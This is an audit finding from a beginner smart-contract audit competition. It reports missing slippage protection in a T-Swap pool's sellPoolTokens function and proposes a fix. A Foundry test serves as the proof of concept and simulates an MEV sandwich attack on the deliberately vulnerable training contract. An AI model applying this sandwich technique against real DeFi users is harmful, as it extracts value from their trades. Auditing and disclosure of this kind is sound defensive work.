First Flight #18: T-Swap

First Flight #18
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Missing slippage protection in `TSwapPool::sellPoolTokens` allows MEV searchers to profit from user

Summary

The transaction can be front-run or back-run by a MEV searcher, who can manipulate the order of transactions in a block to their advantage, thus extracting value from the user's transaction. This can be done by reordering transactions in a block to maximize the MEV searcher's profit.

Also, sellPoolTokens has a parameter called poolTokenAmount, which is the amount of pool tokens the user wants to sell. However, this is misleading, as the function actually calls swapExactOutput, and thus the parameter calculates the amount of WETH the user expects to receive. This can lead to the user spending more pool tokens than expected, either calculated or intended.

Impact

This vulnerability makes the user succeptible to MEV (sandwich attacks and frontrunning attacks).

Any user on the Ethereum network has the ability to watch for new transactions being sent to the network. When the attacker sees a large victim transaction that they want to front run come in, they can create a similar transaction that would move the market up. They then increase their gas fees to ensure that their order gets executed first. The attacker transaction executes, raising the price of the asset, and then the victim transaction executes at the higher price. The attacker is then free to exit the position immediately, pocketing the difference, having never exposed themselves to any risk.

Sophisicated front-runners will likely call these transactions from their own contract addresses to make sure they end up with the prices they expect, and don't collide with other front-runners.

Proof of Concept

Include this test in TSwapPool.t.sol:

Proof of Code
function testSellPoolTokensLackOfSlippageProtection() public {
// Liquidity provider adds liquidity to the pool
testDeposit();
uint256 userPoolTokenStartingBalance = poolToken.balanceOf(address(user));
uint256 userWethStartingBalance = weth.balanceOf(address(user));
// This is what the user estimates that will receive after calling the function
uint256 poolTokenAmountToSell = 1e18;
// Because of how sellPoolTokens is calling swapExactOutput, the poolTokenAmount is actually the WETH amount to
// receive
uint256 expectedPoolTokensToSpend = pool.getInputAmountBasedOnOutput(
poolTokenAmountToSell, poolToken.balanceOf(address(pool)), weth.balanceOf(address(pool))
);
// mevAttacker sees the transaction of the user and puts this before on the mempool
address mevAttacker = makeAddr("mevAttacker");
vm.startPrank(mevAttacker);
// We assume the attack comes from a whale or after a flashloan
uint256 mevAttackerPoolTokenBalanceBeforeSandwich = 50e18;
poolToken.mint(mevAttacker, mevAttackerPoolTokenBalanceBeforeSandwich);
poolToken.approve(address(pool), type(uint256).max);
pool.swapExactInput(poolToken, mevAttackerPoolTokenBalanceBeforeSandwich, weth, 0, uint64(block.timestamp));
vm.stopPrank();
// User transaction goes through
vm.startPrank(user);
poolToken.approve(address(pool), type(uint256).max);
poolToken.mint(user, 100e18);
uint256 actualWethReceived = pool.sellPoolTokens(poolTokenAmountToSell);
vm.stopPrank();
uint256 userPoolTokenEndingBalance = poolToken.balanceOf(address(user));
uint256 userWethEndingBalance = weth.balanceOf(address(user));
// mevAttacker completes the sandwich and takes profits
vm.startPrank(mevAttacker);
weth.approve(address(pool), type(uint256).max);
pool.swapExactInput(weth, weth.balanceOf(address(mevAttacker)), poolToken, 0, uint64(block.timestamp));
vm.stopPrank();
// MEV attacker has more pool tokens than before the sandwich
uint256 mevAttackerPoolTokenBalanceAfterSandwich = poolToken.balanceOf(address(mevAttacker));
assert(mevAttackerPoolTokenBalanceAfterSandwich > mevAttackerPoolTokenBalanceBeforeSandwich);
// Remember poolTokenAmountToSell works as wethToReceive in sellPoolTokens
// User spends more pool tokens than expected, either calculated or intended
assert(expectedPoolTokensToSpend < userPoolTokenEndingBalance - userPoolTokenStartingBalance);
assert(poolTokenAmountToSell < userPoolTokenEndingBalance - userPoolTokenStartingBalance);
// sellPoolTokens returns more WETH than actually received by the user
assert(actualWethReceived > userWethEndingBalance - userWethStartingBalance);
// It's more than the value in the (unintended) parameter of expected WETH to receive of sellPoolTokens
assert(actualWethReceived > poolTokenAmountToSell);
}

Tools Used

Foundry and manual review

Recommendations

  1. Allow users to specify a slippage tolerance. This protects the user from executing a transaction in unfavorable conditions. Using TSwapPool::swapExactInput within sellPoolTokens instead of TSwapPool::swapExactOutput (which currently has no slippage protection) would allow the user to specify a minOutputAmount to set a floor in the amount of tokens the user is expecting to receive. This would protect the user from receiving fewer tokens than expected.

function sellPoolTokens(
uint256 poolTokenAmount,
uint64 deadline
+ uint256 minWethToReceive
) external returns (uint256 wethAmount) {
- return swapExactOutput(i_poolToken, i_wethToken, poolTokenAmount, deadline);
+ return swapExactInput(i_poolToken, poolTokenAmount, i_wethToken, minWethToReceive, deadline);
}
  1. Use Flashbots Protect to avoid MEV attacks.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of slippage protection in `TSwapPool::swapExactOutput` causes users to potentially receive way fewer tokens

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.